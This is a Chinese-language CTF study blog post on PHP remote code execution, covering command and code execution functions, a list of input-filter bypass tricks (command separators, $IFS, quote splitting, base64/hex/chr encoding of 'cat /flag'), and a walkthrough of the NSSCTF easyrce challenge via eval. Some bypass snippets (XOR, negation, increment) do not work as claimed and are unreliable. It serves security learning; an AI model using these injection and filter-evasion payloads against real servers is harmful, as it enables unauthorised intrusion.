Web三漏洞學習(其三:rce漏洞)

靶場:NSSCTF

三、RCE漏洞

1、概述

在Web應用開發中會讓應用調用代碼執行函數系統命令執行函數處理,若應用對用戶的輸入過濾不嚴,容易產生遠程代碼執行漏洞或系統命令執行漏洞

所以常見的RCE漏洞函數又分為代碼執行函數系統命令執行函數

2、常見RCE漏洞函數

<1>系統命令執行函數

(這些函數用于在服務器上執行操作系統級別的命令,比如在Linux上運行ls列出目錄內容,或者在Windows上運行dir

system(): 能將字符串作為OS命令執行,且返回命令執行結果,即執行系統命令,并將輸出顯示到屏幕上

例如

system("ls -l");

這條命令會在服務器上運行ls -l列出當前目錄下的文件文件夾,并將結果顯示到屏幕上

exec():能將字符串作為OS命令執行,但只返回執行結果的最后一行(約等于無回顯)(執行系統命令,但不會直接顯示輸出。輸出可以被捕獲到一個變量中)

$output = [];
exec("ls -l", $output);
print_r($output);

這條命令會在服務器上運行ls -l,并將輸出存儲$output數組中,可以通過print_r查看輸出內容?

shell_exec():能將字符串作為OS命令執行,只調用命令不返回任何結果,但把命令的運行結果原樣輸出到標準輸出設備上,即執行系統命令,并將輸出作為字符串返回

例如

$output = shell_exec("ls -l");
echo $output;

這條命令會在服務器上運行ls -l,并將輸出作為字符串返回,可以通過echo將結果顯示出來。

passthru():能將字符串作為OS命令執行,只調用命令不返回任何結果,但把命令的運行結果原樣輸出到標準輸出設備上,即執行系統命令,并將原始輸出直接輸出到屏幕上

例如

passthru("ls -l");

這條命令會在服務器上運行ls -l,并將原始輸出直接顯示在屏幕上,不會進行任何處理。

popen():打開進程文件指針 ,也就是打開一個進程管道,用于執行系統命令,并可以讀取或寫入數據。

例如

$handle = popen("ls -l", "r");
$output = fread($handle, 2096);
pclose($handle);
echo $output;

這條命令會在服務器上運行ls -l,并通過popen打開一個管道,你可以通過fread讀取輸出內容

proc_open():與上面的popen()類似

pcntl_exec():在當前進程空間執行指定程序,其為 PHP 中的一個函數,用于在當前進程空間中執行指定的程序。它會替換當前進程的代碼,而不是啟動一個新的進程。這意味著當前 PHP 腳本會被中斷,新的程序會在同一個進程中運行。

例如假設我有一個 PHP 腳本,我想在其中執行一個外部程序(比如 ls 命令)

<?php
// 使用 pcntl_exec 執行外部程序
pcntl_exec('/bin/ls', ['-l', '/var/www/html']);
?>

/bin/ls 是要執行的程序路徑

['-l', '/var/www/html'] 是傳遞給程序的參數,表示以長格式列出 /var/www/html 目錄下的文件?

" : 反引號內的字符串會被解析為OS命令。在 PHP 中用于執行系統命令。反引號內的字符串會被解析為操作系統命令,并將命令的輸出作為字符串返回。

例如假設我有一個 PHP 腳本,你想在其中執行一個系統命令(比如 ls 命令)并捕獲輸出

<?php
// 使用反引號執行系統命令并捕獲輸出
$output = `ls -l /var/www/html`;
echo $output;
?>

`ls -l /var/www/html` 是要執行的系統命令;

反引號內的命令會被執行,輸出會被存儲到 $output 變量中;

使用 echo 輸出捕獲的內容 。

<2>代碼執行函數

(這些函數用于在服務器上執行PHP代碼其他編程語言代碼。它們可以讓攻擊者直接執行惡意代碼,而不僅僅是系統命令)

eval():將字符串作為php代碼執行(或者說執行字符串中的php代碼)

例如

$code = "echo 'Hello, World!';";
eval($code);

這條命令會將字符串$code中的PHP代碼執行,輸出Hello, World!

assert():也是將字符串作為php代碼執行(或執行字符串中的php代碼,與eval()類似)

例如

$code = "echo 'Hello, World!';";
assert($code);

這條命令會將字符串$code中的PHP代碼執行,輸出Hello, World!?

preg_replace():這則匹配替換字符串

create_function():主要創建匿名函數,并執行其中的代碼

例如

$code = "echo 'Hello, World!';";
$func = create_function('', $code);
$func();

這條命令會創建一個匿名函數,將字符串$code中的PHP代碼作為函數體,然后調用這個函數,輸出Hello, World!?

call_user_func():回調函數,第一個參數為函數名,第二個參數為函數的參數,即調用一個用戶定義的函數

例如

function my_function() {echo 'Hello, World!';
}
call_user_func('my_function');

這條命令會調用my_function函數,輸出Hello, World!?

call_user_func_arry():回調函數,第一個參數為函數名,第二個參數為函數的參數,即調用一個用戶定義的函數,并傳遞參數。

例如

function my_function($name) {echo "Hello, $name!";
}
call_user_func_array('my_function', ['World']);

這條命令會調用my_function函數,并傳遞參數'World',輸出Hello, World!?

可變函數:若變量有括號,該變量會被當做函數名為變量值(前提是該變量值是存在的函數名)的函數執行

通俗的理解:

想象一下,你有一個遙控器,可以控制一臺電視。系統命令執行函數就像是遙控器上的按鈕,你可以按這些按鈕來讓電視執行某些操作,比如換臺、調節音量等。而代碼執行函數就像是直接控制電視內部的電路板,你可以讓電視做任何你想做的事情,比如顯示自定義的圖像或播放自定義的音頻

3、RCE繞過

管道符 繞過

如果管道符(|)被過濾,可以使用分號(;)、雙與(&&)或雙或(||

管道符實例描述
;A;B無論真假,A與B都執行
&A&B無論真假,A與B都執行
&&A&&BA為真時才執行B,否則只執行A
|A|B顯示B的執行結果
||A||BA為假時才執行B,否則只執行A

空格過濾 繞過

如果空格被過濾,可以使用$IFS、制表符(%09)或大括號({}

以下可代替空格
<<>%20(即space)
%09(即tab)$IFS$9${IFS}
$IFS{cat,/flag}

反斜杠\ 繞過

如果某些命令或字符被過濾,可以使用反斜杠(\)來繞過

//如cat、ls被過濾,使用\繞過
c\at /flag
l\s /

取反 繞過

通過取反操作來生成目標字符串

$a = "cat";
$b = ~$a; // 取反操作
$cmd = $b;

異或 繞過

通過異或操作來生成目標字符串

$a = "cat";
$b = $a ^ "dog"; // 異或操作
$cmd = $b;

自增 繞過

通過自增操作來生成目標字符串

$a = "ca";
$a++; // 自增操作
$cmd = $a;

黑名單 繞過

如果某些命令或函數被過濾,可以嘗試變量拼接或內聯執行

// 原始命令
$cmd = "cat /flag";
// 繞過
$b = "ag";
$cmd = "cat /fl$b";

正則匹配 繞過

如果某些字符或模式被正則過濾,可以使用通配符或正則表達式

// 原始命令
$cmd = "cat /flag";
// 繞過
$cmd = "cat /f???";
// 或者
$cmd = "cat /fl[a-z]{3}";

引號繞過
    //如cat、ls被過濾ca""t /flagl's' /

cat替換命令
morelesscattac
headtailvivim
nlodsortuniq
tac與cat相反,按行反向輸出
more按頁顯示,用于文件內容較多且不能滾動屏幕時查看文件
less與more類似
tail查看文件末幾行
head查看文件首幾行
nl在cat查看文件的基礎上顯示行號
od以二進制方式讀文件,od -A d -c /flag轉人可讀字符
xxd以二進制方式讀文件,同時有可讀字符顯示
sort排序文件
uniq報告或刪除文件的重復行
file -f報錯文件內容
grep過濾查找字符串,grep flag /flag
base編碼繞過

Base64編碼可以將命令編碼為ASCII字符串,然后在目標系統上解碼并執行

假設過濾器會過濾掉某些字符,可以使用Base64編碼

$encoded_cmd = "Y2F0IC9mbGFn"; // Base64編碼后的 "cat /flag"
$decoded_cmd = base64_decode($encoded_cmd);
system($decoded_cmd);

Hex編碼繞過

Hex編碼可以將命令編碼為十六進制字符串,然后在目標系統上解碼并執行

假設過濾器會過濾掉某些字符,可以使用Hex編碼

$hex_cmd = "636174202f666c6167"; // Hex編碼后的 "cat /flag"
$decoded_cmd = hex2bin($hex_cmd);
system($decoded_cmd);

回溯 繞過

回溯繞過通常用于繞過對某些字符或命令的直接過濾。通過構造復雜的表達式,讓過濾器在解析時出現錯誤或繞過

假設過濾器會直接過濾掉 cat 命令,可以使用回溯繞過:

$cmd = "ca"."t /flag";
system($cmd);

無回顯RCE

將執行結果輸出到文件中,再訪問文件

// 原始命令
$cmd = "ls -l";
// 繞過
$cmd = "ls -l > /tmp/output";
// 然后訪問 /tmp/output 文件

無參數RCE

利用某些函數不需要參數的特性

// 原始命令
$cmd = "id";
// 繞過
$cmd = "id > /tmp/output";
無字母數字RCE

假設過濾器會過濾掉所有字母和數字,可以使用chr函數來生成目標命令

<?php
// 使用 chr 函數生成字符
$cmd = chr(99) . chr(97) . chr(116) . " " . chr(47) . chr(102) . chr(108) . chr(97) . chr(103);// 執行命令
system($cmd);
?>

代碼解釋:

<1>這里的char函數

chr函數用于生成指定ASCII值的字符;

例如:

  • chr(99) 生成字符 c

  • chr(97) 生成字符 a

  • chr(116) 生成字符 t

  • chr(47) 生成字符 /

  • chr(102) 生成字符 f

  • chr(108) 生成字符 l

  • chr(97) 生成字符 a

  • chr(103) 生成字符

?(其實就是從字符a開始,對應char(97),依次往后遞增:b是char(98);c是char(99);d是char(100)...)

<2>字符串拼接

使用點 (.)?將生成的字符拼接成完整的命令字符串

<3>執行命令

使用system函數執行拼接后的命令

假設目標系統中有一個文件/flag,運行上述代碼后,會輸出/flag文件的內容

?總之通過使用chr函數生成字符,并通過字符串拼接構造命令,可以在不使用字母和數字的情況下實現無字母數字RCE。這種方法可以有效繞過嚴格的輸入過濾器

理論完了接下來就是實踐

【SWPUCTF 2021 新生賽】easyrce

查看源代碼

可以看到源碼使用了eval()函數接收GET傳參的url參數(上面說過,eval()函數會將字符串作為php代碼執行)

這樣就比較簡單了,只要題目沒有對我們的輸入內容進行嚴格的過濾,直接利用eval()函數執行php惡意代碼就可以達到我們的目的

比如我現在利用phpinfo();語句查看php信息

可以看到PHP配置信息,說明服務器執行了phpinfo()函數(即上面所說代碼執行函數

假如現在我再換一個系統命令執行函數(system()???? 命令:?url=system("ls -l");

可以看到列出了當前目錄下的文件和文件夾 (即上面所說系統命令執行函數

那既然解題時是為了flag而來,就應該想想怎么利用這些東西來get flag

這里說一下這兩個函數的區別:

system("ls /");

這個命令表示列出根目錄下的文件和名稱 ;

system("ls -l");

而這個命令表示的是以長格式列出當前工作目錄下的文件目錄詳細信息

然后我剛剛用的是這個命令:system("ls -l");

回顯這一串

這表示的是當前工作目錄下只有一個文件index.php,還顯示了該文件的詳細信息:total 4 -rw-rw-r-- 1 root root 109 Oct 2 2021 (不用管它啥意思,只用知道它是index.php的詳細信息)

那這樣說的話假如我換命令system("ls /l"); 也就是列出根目錄下的文件和名稱, 回顯肯定是不同的,那就執行一下看看:

可以看到回顯出的根目錄,其的確與回顯當前工作目錄文件名的命令不一樣,這說明PHP腳本的當前工作目錄不是根目錄/),而是某個特定的目錄,例如腳本所在的目錄

這樣也就提醒了我以后盡量先用找根目錄的命令(system("ls /");),這樣一層層往里剝

誒其中的flllllaaaaaaggggggg目錄明顯就是提醒flag所在,那就針對這個目錄即可

然后由于比較簡單,一 cat就出flag了(Linux的OS命令cat:顯示文件內容)

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/news/902069.shtml
繁體地址,請注明出處:http://hk.pswp.cn/news/902069.shtml
英文地址,請注明出處:http://en.pswp.cn/news/902069.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

從零開始:Python運行環境之VSCode與Anaconda安裝配置全攻略 (1)

從零開始&#xff1a;Python 運行環境之 VSCode 與 Anaconda 安裝配置全攻略 在當今數字化時代&#xff0c;Python 作為一種功能強大且易于學習的編程語言&#xff0c;被廣泛應用于數據科學、人工智能、Web 開發等眾多領域。為了順利開啟 Python 編程之旅&#xff0c;搭建一個穩…

從FPGA實現角度介紹DP_Main_link主通道原理

DisplayPort&#xff08;簡稱DP&#xff09;是一個標準化的數字式視頻接口標準&#xff0c;具有三大基本架構包含影音傳輸的主要通道&#xff08;Main Link&#xff09;、輔助通道&#xff08;AUX&#xff09;、與熱插拔&#xff08;HPD&#xff09;。 Main Link&#xff1a;用…

嵌入式軟件--stm32 DAY 2

大家學習嵌入式的時候&#xff0c;多多學習用KEIL寫代碼&#xff0c;雖然作為編譯器&#xff0c;大家常用vscode等常用工具關聯編碼&#xff0c;但目前keil仍然是主流工具之一&#xff0c;學習掌握十分必要。 1.再次創建項目 1.1編譯器自動生成文件 1.2初始文件 這樣下次創建新…

游戲引擎學習第234天:實現基數排序

回顧并為今天的內容設定背景 我們今天繼續進行排序的相關&#xff0c;雖然基本已經完成了&#xff0c;但還是想收尾一下&#xff0c;讓整個流程更完整。其實這次排序只是個借口&#xff0c;主要是想順便聊一聊一些計算機科學的知識點&#xff0c;這些內容在我們項目中平時不會…

計算機網絡——常見的網絡攻擊手段

什么是XSS攻擊&#xff0c;如何避免? XSS 攻擊&#xff0c;全稱跨站腳本攻擊&#xff08;Cross-Site Scripting&#xff09;&#xff0c;這會與層疊樣式表(Cascading Style Sheets, CSS)的縮寫混淆&#xff0c;因此有人將跨站腳本攻擊縮寫為XSS。它指的是惡意攻擊者往Web頁面…

Agent的九種設計模式 介紹

Agent的九種設計模式 介紹 一、ReAct模式 原理:將推理(Reasoning)和行動(Acting)相結合,使Agent能夠在推理的指導下采取行動,并根據行動的結果進一步推理,形成一個循環。Agent通過生成一系列的思維鏈(Thought Chains)來明確推理步驟,并根據推理結果執行相應的動作,…

LeetCode 熱題 100:回溯

46. 全排列 給定一個不含重復數字的數組 nums &#xff0c;返回其 所有可能的全排列 。你可以 按任意順序 返回答案。 示例 1&#xff1a; 輸入&#xff1a;nums [1,2,3] 輸出&#xff1a;[[1,2,3],[1,3,2],[2,1,3],[2,3,1],[3,1,2],[3,2,1]]示例 2&#xff1a; 輸入&#xff…

cJSON_Print 和 cJSON_PrintUnformatted的區別

cJSON_Print 和 cJSON_PrintUnformatted 是 cJSON 庫中用于將 cJSON 對象轉換為 JSON 字符串的兩個函數&#xff0c;它們的區別主要在于輸出的格式&#xff1a; 1. cJSON_Print 功能&#xff1a;將 cJSON 對象轉換為格式化的 JSON 字符串。 特點&#xff1a; 輸出的 JSON 字符…

A股周度復盤與下周策略 的deepseek提示詞模板

以下是反向整理的股票大盤分析提示詞模板&#xff0c;采用結構化框架數據占位符設計&#xff0c;可直接套用每周市場數據&#xff1a; 請根據一下markdown格式的模板&#xff0c;幫我檢索整理并輸出本周股市復盤和下周投資策略 【A股周度復盤與下周策略提示詞模板】 一、市場…

Linux下使用C++獲取硬件信息

目錄 方法獲取CPU信息&#xff1a;讀取"/proc/cpuinfo"文件獲取磁盤信息&#xff1a;讀取"/proc/diskstats"文件獲取BIOS信息有兩種方法&#xff1a;1、讀取文件&#xff1b;2、使用dmidecode命令獲取主板信息有兩種方法&#xff1a;1、讀取文件&#xff1…

BootStrap:進階使用(其二)

今天我要講述的是在BootStrap中第二篇關于進一步使用的方法與代碼舉例; 分頁&#xff1a; 對于一些大型網站而言&#xff0c;分頁是一個很有必要的存在&#xff0c;如果當數據內容過大時&#xff0c;則需要分頁來分擔一些&#xff0c;這可以使得大量內容能整合并全面地展示&a…

【技術派后端篇】技術派中的白名單機制:基于Redis的Set實現

在技術派社區中&#xff0c;為了保證文章的質量和社區的良性發展&#xff0c;所有發布的文章都需要經過審核。然而&#xff0c;并非所有作者的文章都需要審核&#xff0c;我們通過白名單機制來優化這一流程。本文將詳細介紹技術派中白名單的實現方式&#xff0c;以及如何利用Re…

TRAE.AI 國際版本

國際版下載地址&#xff1a; https://www.trae.ai/https://www.trae.ai/ 國際版本優勢&#xff1a;提供更多高校的AI助手模型 Claude-3.5-Sonnet Claude-3.7-Sonnet Gemini-2.5-Pro GPT-4.1 GPT-40 DeepSeek-V3-0324DeepSeek-V3DeepSeek-Reasoner(R1)

關于支付寶網頁提示非官方網頁

關于支付寶網站提示 非官方網站 需要找官方添加白名單 下面可以直接用自己的郵箱去發送申請 支付寶提示“非支付寶官方網頁&#xff0c;請確認是否繼續訪問”通常是因為支付寶的安全機制檢測到您訪問的頁面不是支付寶官方頁面&#xff0c;這可能是由于域名或頁面內容不符合支…

【今日三題】打怪(模擬) / 字符串分類(字符串哈希) / 城市群數量(dfs)

??個人主頁&#xff1a;小羊 ??所屬專欄&#xff1a;每日兩三題 很榮幸您能閱讀我的文章&#xff0c;誠請評論指點&#xff0c;歡迎歡迎 ~ 目錄 打怪(模擬)字符串分類(字符串哈希)城市群數量(dfs) 打怪(模擬) 打怪 #include <iostream> using namespace std;int …

npm install 版本過高引發錯誤,請添加 --legacy-peer-deps

起因&#xff1a;由于使用"react": "^19.0.0", 第三方包要低版本react&#xff0c;錯解決方法&#xff01; npm install --save emoji-mart emoji-mart/data emoji-mart/react npm install --save emoji-mart emoji-mart/data emoji-mart/react npm err…

Python基礎總結(七)之條件語句

文章目錄 條件語句if一、Python中的真假二、條件語句格式2.1 if語句格式2.2 if-else語句2.3 if-elif-else語句 三、if語句嵌套 條件語句if 條件語句其實就是if語句&#xff0c;在講解if語句之前需要知道Python中對于真假的判斷。 一、Python中的真假 在Python中非0的都為真&…

基于Ubuntu2504部署OpenStack E版

OpenStack 初始化環境安裝數據庫、memcahe、rabbitmq等服務安裝keystone服務安裝glance服務安裝placement服務安裝nova服務安裝neutron服務安裝horizon服務 官網 OpenStack Epoxy 鞏固了作為 VMware 替代方案的地位&#xff0c;增強了安全性&#xff0c;并改進了硬件支持 第 3…

可發1區的超級創新思路(python 、MATLAB實現):基于多尺度注意力TCN-KAN與小波變換的時間序列預測模型

一、數學模型與原理 1.1 小波變換多尺度分解 輸入功率序列 x(t) 經小波變換分解為近似系數 Aj? 與細節系數 Dj?: 1.2 多尺度TCN特征提取 對每個尺度子序列 {A3?,D3?,D2?,D1?} 采用獨立TCN: 式中 ?d? 為擴張率 d=2l 的擴張卷積,Wd? 為可學習參數。 1.3 多尺度注…

YOLOv11改進有效漲點專欄:從理論到實戰的深度優化指南

## YOLOv11的進化之路 在目標檢測領域,YOLO系列算法始終保持著革命性的創新步伐。YOLOv11作為該系列的最新演進版本,在保持實時檢測優勢的同時,通過架構層面的深度優化實現了精度與速度的平衡。本文將從**七大核心模塊**出發,系統性地解析針對YOLOv11的有效改進方案,涵蓋從…